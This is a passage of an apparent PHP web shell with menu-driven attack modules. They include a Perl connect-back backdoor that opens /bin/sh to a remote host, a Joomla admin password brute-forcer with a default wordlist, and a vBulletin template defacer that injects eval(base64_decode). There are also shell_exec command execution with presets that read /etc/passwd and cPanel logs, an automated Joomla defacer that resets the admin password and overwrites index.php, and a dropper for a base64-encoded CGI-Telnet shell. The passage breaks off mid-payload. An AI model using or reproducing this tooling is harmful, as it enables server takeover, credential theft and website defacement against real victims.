$write = fwrite($file, "#!/usr/bin/perl\r\n use Socket;\r\n print \"Data Cha0s Connect Back Backdoor\\n\\n\";\r\n if (!\$ARGV[0]) {\r\n printf \"Usage: \$0 [Host] <Port>\\n\";\r\n exit(1);\r\n }\r\n print \"[*] Dumping Arguments\\n\";\r\n \$host = \$ARGV[0];\r\n \$port = 80;\r\n if (\$ARGV[1]) {\r\n \$port = \$ARGV[1];\r\n }\r\n print \"[*] Connecting...\\n\";\r\n \$proto = getprotobyname('tcp') || die(\"Unknown Protocol\\n\");\r\n socket(SERVER, PF_INET, SOCK_STREAM, \$proto) || die (\"Socket Error\\n\");\r\n my \$target = inet_aton(\$host);\r\n if (!connect(SERVER, pack \"SnA4x8\", 2, \$port, \$target)) {\r\n die(\"Unable to Connect\\n\");\r\n }\r\n print \"[*] Spawning Shell\\n\";\r\n if (!fork( )) {\r\n open(STDIN,\">&SERVER\");\r\n open(STDOUT,\">&SERVER\");\r\n open(STDERR,\">&SERVER\");\r\n exec {'/bin/sh'} '-bash' . \"\\0\" x 4;\r\n exit(0);\r\n }\r\n print \"[*] Datached\\n\\n\";");
fclose($file);
chmod("dc.pl", 0755);
echo "<iframe src=cgitelnet1/izo.cin width=96% height=90% frameborder=0></iframe> \r\n\r\n \r\n </div>";
} elseif (isset($_GET['x']) && $_GET['x'] == 'jbrute') {
?>
<form action="?y=<?php
echo $pwd;
?>&x=jbrute" method="post">
<meta name="author" content="RetnOHacK" />
<meta name="keywords" content="Joomla, Bruter, JoomlaBruter, JoomlaBruterForce, JoomlaBruterForceOnline" />
<meta name="description" content="RetnOHacK #Procoder'z Team Albanian" />
<center>
</br></br>
<center><b><font color="lime">+--=[ Joomla Bruter Force ]=--+</font></b><br /><br />
<form method="post" action="" enctype="multipart/form-data">
<table class="tabnet" width="38%" border="0"><center>
<th colspan="2">Joomla Brute Force</th>
<tr><td><p ><font class="d1">User :</font></th>
<input class="inputz" type='text' name="usr" value="admin" size="15"> </font></center><br /><br /></p>
</td></tr>
<tr><td><font class="">Sites list :</font>
</td><td><font class="" >Pass list :</font></td></tr>
<tr>
<td>
<textarea name="sites" style="background:black;" cols="40" rows="13" ></textarea>
</td><td>
<textarea name="w0rds" style="background:black;" cols="40" rows="13" >
admin
123456
password
102030
123123
12345
123456789
pass
test
admin123
demo
!@#$%^
</textarea>
</td></tr><center><tr><td>
<font >
<input class="inputzbut" type="submit" name="x" value="start" id="d4">
</font></td></tr><br>
tanks for procoder'z team albanian<br></center></table>
</form></center>
<?php
@set_time_limit(0);
if ($_POST['x']) {
echo "<hr>";
$sites = explode("\n", $_POST["sites"]);
// Get Sites
$w0rds = explode("\n", $_POST["w0rds"]);
// Get w0rdLiSt
$Attack = new Joomla_brute_Force();
// Active Class
foreach ($w0rds as $pwd) {
foreach ($sites as $site) {
$Attack->check_it(txt_cln($site), $_POST['usr'], txt_cln($pwd));
// Brute :D
flush();
flush();
}
}
}
# Class & Function'z
function txt_cln($value)
{
return str_replace(array("\n", "\r"), "", $value);
}
class Joomla_brute_Force
{
public function check_it($site, $user, $pass)
{
// print result
if (eregi('com_config', $this->post($site, $user, $pass))) {
echo "<span class=\"x2\"><b># Success : {$user}:{$pass} -> <a href='{$site}/administrator/index.php'>{$site}/administrator/index.php</a></b></span><BR>";
$f = fopen("Result.txt", "a+");
fwrite($f, "Success ~~ {$user}:{$pass} -> {$site}/administrator/index.php\n");
fclose($f);
flush();
} else {
echo "# Failed : {$user}:{$pass} -> {$site}<BR>";
flush();
}
}
public function post($site, $user, $pass)
{
// Post -> user & pass
$token = $this->extract_token($site);
$curl = curl_init();
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_URL, $site . "/administrator/index.php");
@curl_setopt($curl, CURLOPT_COOKIEFILE, 'cookie.txt');
@curl_setopt($curl, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
@curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, 'username=' . $user . '&passwd=' . $pass . '&lang=en-GB&option=com_login&task=login&' . $token . '=1');
curl_setopt($curl, CURLOPT_TIMEOUT, 20);
$exec = curl_exec($curl);
curl_close($curl);
return $exec;
}
public function extract_token($site)
{
// get token from source for -> function post
$source = $this->get_source($site);
preg_match_all("/type=\"hidden\" name=\"([0-9a-f]{32})\" value=\"1\"/si", $source, $token);
return $token[1][0];
}
public function get_source($site)
{
// get source for -> function extract_token
$curl = curl_init();
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_URL, $site . "/administrator/index.php");
@curl_setopt($curl, CURLOPT_COOKIEFILE, 'cookie.txt');
@curl_setopt($curl, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
@curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 20);
$exec = curl_exec($curl);
curl_close($curl);
return $exec;
}
}
} elseif (isset($_GET['x']) && $_GET['x'] == 'vb') {
?>
<form action="?y=<?php
echo $pwd;
?>&x=vb" method="post">
<br><br><br><div align="center">
<H2><span style="font-weight: 400"><font face="Trebuchet MS" size="4">
<b><font color="#00FF00">+--=[ VB Index Changer ]=--+</font></b>
</div><br>
<?php
if (empty($_POST['index'])) {
echo "<center><FORM method=\"POST\">";
echo "<table class=\"tabnet\">\r\n<th colspan=\"2\">Vb Index Changer</th>\r\n<tr><td>host </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"localhost\" value=\"localhost\"></td></tr>\r\n<tr><td>database </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"database\" value=\"forum_vb\"></td></tr>\r\n<tr><td>username </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"username\" value=\"user_vb\"></td></tr>\r\n<tr><td>password </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"password\" value=\"vb\"></td></tr>\r\n</tr>\r\n<th colspan=\"2\">Your Index Code</th></table><table class=\"tabnet\">\r\n<TEXTAREA name=\"index\" rows=\"13\" style=\"background:black\" border=\"1\" cols=\"69\" name=\"code\">your index code</TEXTAREA><br>\r\n<INPUT class=\"inputzbut\" type=\"submit\" value=\"setting\" name=\"send\">\r\n</FORM></table></center>";
} else {
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$index = $_POST['index'];
@mysql_connect($localhost, $username, $password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$index = str_replace("\\'", "'", $index);
$set_index = "{\${eval(base64_decode(\\'";
$set_index .= base64_encode("echo \"{$index}\";");
$set_index .= "\\'))}}{\${exit()}}</textarea>";
echo "UPDATE template SET template ='" . $set_index . "' ";
$ok = @mysql_query("UPDATE template SET template ='" . $set_index . "'") or die(mysql_error());
if ($ok) {
echo "!! update finish !!<br><br>";
}
}
} elseif (isset($_GET['x']) && $_GET['x'] == 'bypass') {
?>
<form action="?y=<?php
echo $pwd;
?>&x=bypass" method="post">
<?php
echo "<center/><br/><b><font color=#00ff00>-=[ Command Bypass Exploit ]=-</font></b><br>\r\n";
print_r('
<pre>
<form method="POST" action="">
<b><font color=#00ff00><b><font color="#00ff00">Command :=) </font></font></b><input name="baba" type="text" class="inputz" size="34"><input type="submit" class="inputzbut" value="Go">
</form>
<form method="POST" action=""><strong><b><font color="#00ff00">Menu Bypass :=) </font></strong><select name="liz0" size="1" class="inputz">
<option value="cat /etc/passwd">/etc/passwd</option>
<option value="netstat -an | grep -i listen">netstat</option>
<option value="cat /var/cpanel/accounting.log">/var/cpanel/accounting.log</option>
<option value="cat /etc/syslog.conf">/etc/syslog.conf</option>
<option value="cat /etc/hosts">/etc/hosts</option>
<option value="cat /etc/named.conf">/etc/named.conf</option>
<option value="cat /etc/httpd/conf/httpd.conf">/etc/httpd/conf/httpd.conf</option>
</select> <input type="submit" class="inputzbut" value="Gö">
</form>
</pre>
');
ini_restore("safe_mode");
ini_restore("open_basedir");
$liz0 = shell_exec($_POST[baba]);
$liz0zim = shell_exec($_POST[liz0]);
$uid = shell_exec('id');
$server = shell_exec('uname -a');
echo "<pre><h4>";
echo $liz0;
echo $liz0zim;
echo "</h4></pre>";
"</div>";
} elseif (isset($_GET['x']) && $_GET['x'] == 'jodexer') {
?>
<form action="?y=<?php
echo $pwd;
?>&x=jodexer" method="post">
<?php
function randomt()
{
$chars = "abcdefghijkmnopqrstuvwxyz023456789";
srand((double) microtime() * 1000000);
$i = 0;
$pass = '';
while ($i <= 7) {
$num = rand() % 33;
$tmp = substr($chars, $num, 1);
$pass .= $tmp;
$i++;
}
return $pass;
}
function entre2v2($text, $marqueurDebutLien, $marqueurFinLien, $i = 1)
{
$ar0 = explode($marqueurDebutLien, $text);
$ar1 = explode($marqueurFinLien, $ar0[$i]);
$ar = trim($ar1[0]);
return $ar;
}
if ($_POST['form_action']) {
$text = file_get_contents($_POST['file']);
$username = entre2v2($text, "public {$user} = '", "';");
$password = entre2v2($text, "public {$password} = ', '", "';");
$dbname = entre2v2($text, "public {$db} = ', '", "';");
$dbprefix = entre2v2($text, "public {$dbprefix} = '", "';");
$site_url = $_POST['site_url'];
$h = "<?php echo(stripslashes(base64_decode('" . urlencode(base64_encode(str_replace("'", "'", $_POST['code']))) . "'))); exit; ?>";
$co = randomt();
/*
echo($username);
echo("<br>");
echo($password);
echo("<br>");
echo($dbname);
echo("<br>");
echo($dbprefix);
echo("<br>");
*/
$co = randomt();
if ($_POST['form_action']) {
$h = "<?php echo(stripslashes(base64_decode('" . urlencode(base64_encode(str_replace("'", "'", $_POST['code']))) . "'))); exit; ?>";
$link = mysql_connect("dzoed.druknet.bt", $username, $password);
mysql_select_db($dbname, $link);
$tryChaningInfo = mysql_query("UPDATE " . $dbprefix . "users SET username ='admin' , password = '2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX'");
echo "<br>[+] Changing admin password to 123456789";
$req = mysql_query("SELECT * from `" . $dbprefix . "extensions` ");
if ($req) {
#################################################################
###################### V1.6 ######################
#################################################################
$req = mysql_query("SELECT * from `" . $dbprefix . "template_styles` WHERE client_id='0' and home='1'");
$data = mysql_fetch_array($req);
$template_name = $data["template"];
$req = mysql_query("SELECT * from `" . $dbprefix . "extensions` WHERE name='" . $template_name . "'");
$data = mysql_fetch_array($req);
$template_id = $data["extension_id"];
$url2 = $site_url . "/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$return = entre2v2($buffer, '<input type="hidden" name="return" value="', '"');
$hidden = entre2v2($buffer, '<input type="hidden" name="', '" value="1"', 4);
///////////////////////////
$url2 = $site_url . "/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "username=admin&passwd=123456789&option=com_login&task=login&return=" . $return . "&" . $hidden . "=1");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer, "com_config");
if ($pos === false) {
echo "<br>[-] Login Error";
exit;
} else {
echo "<br>[~] Login Successful";
}
///////////////////////////
$url2 = $site_url . "/index.php?option=com_templates&task=source.edit&id=" . base64_encode($template_id . ":index.php");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$hidden2 = entre2v2($buffer, '<input type="hidden" name="', '" value="1"', 2);
if ($hidden2) {
echo "<br>[+] index.php file founded in Theme Editor";
} else {
echo "<br>[-] index.php Not found in Theme Editor";
exit;
}
echo "<br>[*] Updating Index.php .....";
$url2 = $site_url . "/index.php?option=com_templates&layout=edit";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "jform[source]=" . $h . "&jform[filename]=index.php&jform[extension_id]=" . $template_id . "&" . $hidden2 . "=1&task=source.save");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer, '<dd class="message message">');
if ($pos === false) {
echo "<br>[-] Updating Index.php Error";
exit;
} else {
echo "<br>[~] index.php successfully saved";
}
#################################################################
###################### V1.6 END ######################
#################################################################
} else {
#################################################################
###################### V1.5 ######################
#################################################################
$req = mysql_query("SELECT * from `" . $dbprefix . "templates_menu` WHERE client_id='0'");
$data = mysql_fetch_array($req);
$template_name = $data["template"];
$url2 = $site_url . "/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$hidden = entre2v2($buffer, '<input type="hidden" name="', '" value="1"', 3);
$url2 = $site_url . "/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "username=admin&passwd=123456789&option=com_login&task=login&" . $hidden . "=1");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer, "com_config");
if ($pos === false) {
echo "<br>[-] Login Error";
exit;
} else {
echo "<br>[+] Login Successful";
}
///////////////////////////
$url2 = $site_url . "/index.php?option=com_templates&task=edit_source&client=0&id=" . $template_name;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$hidden2 = entre2v2($buffer, '<input type="hidden" name="', '" value="1"', 6);
if ($hidden2) {
echo "<br>[~] index.php file founded in Theme Editor";
} else {
echo "<br>[-] index.php Not found in Theme Editor";
}
echo "<br>[*] Updating Index.php .....";
$url2 = $site_url . "/index.php?option=com_templates&layout=edit";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "filecontent=" . $h . "&id=" . $template_name . "&cid[]=" . $template_name . "&" . $hidden2 . "=1&task=save_source&client=0");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer, '<dd class="message message fade">');
if ($pos === false) {
echo "<br>[-] Updating Index.php Error";
exit;
} else {
echo "<br>[~] index.php successfully saved";
}
#################################################################
###################### V1.5 END ######################
#################################################################
}
}
function randomt()
{
$chars = "abcdefghijkmnopqrstuvwxyz023456789";
srand((double) microtime() * 1000000);
$i = 0;
$pass = '';
while ($i <= 7) {
$num = rand() % 33;
$tmp = substr($chars, $num, 1);
$pass .= $tmp;
$i++;
}
return $pass;
}
function entre2v2($text, $marqueurDebutLien, $marqueurFinLien, $i = 1)
{
$ar0 = explode($marqueurDebutLien, $text);
$ar1 = explode($marqueurFinLien, $ar0[$i]);
$ar = trim($ar1[0]);
return $ar;
}
}
?>
<center><br><br>
<font color="#00ff00" size='+3'><b>+--=[ Automatic Joomla Index Changer ]=--+</b></font><br><br>
</center>
<center><b>
Link of symlink configuration.php of Joomla<br></b>
<FORM action="" method="post">
<input type="hidden" name="form_action" value="1">
<input type="text" class="inputz" size="60" name="file" value="http://site.com/sym/home/user/public_html/configuration.php">
<br>
<br><b>
Admin Control panel url</b><br>
<input type="text" class="inputz" size="40" name="site_url" value="http://site/administrator"><br>
<br><b>
Your Index Code</b>
<br>
<TEXTAREA rows="20" align="center" style="background:black" cols="120" name="code"> your index code
</TEXTAREA>
<br>
<INPUT class="inputzbut" type="submit" value="Lets Go Deface !!!" name="Submit">
</FORM>
</center>
<script language=JavaScript>m='%09%09%09%09%09%09%09%3C/td%3E%0A%09%09%09%09%09%09%3C/tr%3E%0A%09%09%09%09%09%3C/table%3E%0A%09%09%09%09%3C/td%3E%0A%3C/html%3E';d=unescape(m);document.write(d);</script>
<?php
} elseif (isset($_GET['x']) && $_GET['x'] == 'cgi2012') {
echo "<center/><br/><b>\r\n +--==[ CGI-Telnet Version 1.3 ]==--+ \r\n </b><br><br>";
mkdir('cgi2012', 0755);
chdir('cgi2012');
$kokdosya = ".htaccess";
$dosya_adi = ".htaccess";
$dosya = fopen($dosya_adi, 'w') or die("Dosya açılamadı!");
$metin = "AddHandler cgi-script .izo";
fwrite($dosya, $metin);
fclose($dosya);
$cgi2012 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuMyI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+YjM3NGsgLSBDR0ktVGVsbmV0PC9mb250PiI7CgokUGFzc3dvcmQgPSAiYmFuZHVuZ2tvdGFzYW1wYWgiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4Kc3ViIElzX1dpbigpewoJJG9zID0gJnRyaW0oJEVOVnsiU0VSVkVSX1NPRlRXQVJFIn0pOwoJaWYoJG9zID1+IG0vd2luL2kpewoJCXJldHVybiAxOwoJfQoJZWxzZXsKCQlyZXR1cm4gMDsKCX0KfQokV2luTlQgPSAmSXNfV2luKCk7CQkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVAoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoKJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4KCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4KCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkCgkJCQkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMKCQkJCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLgoJCQkJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMKCQkJCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQoJCQkJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlCgkJCQkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlCgkJCQkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQKCQkJCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwokY29scz0gMTUwOwokcm93cz0gMjY7CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0CiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9LgojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kKIyBzY3JpcHRzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8vZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKCXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsKCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcgojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlSGVhZGVyCns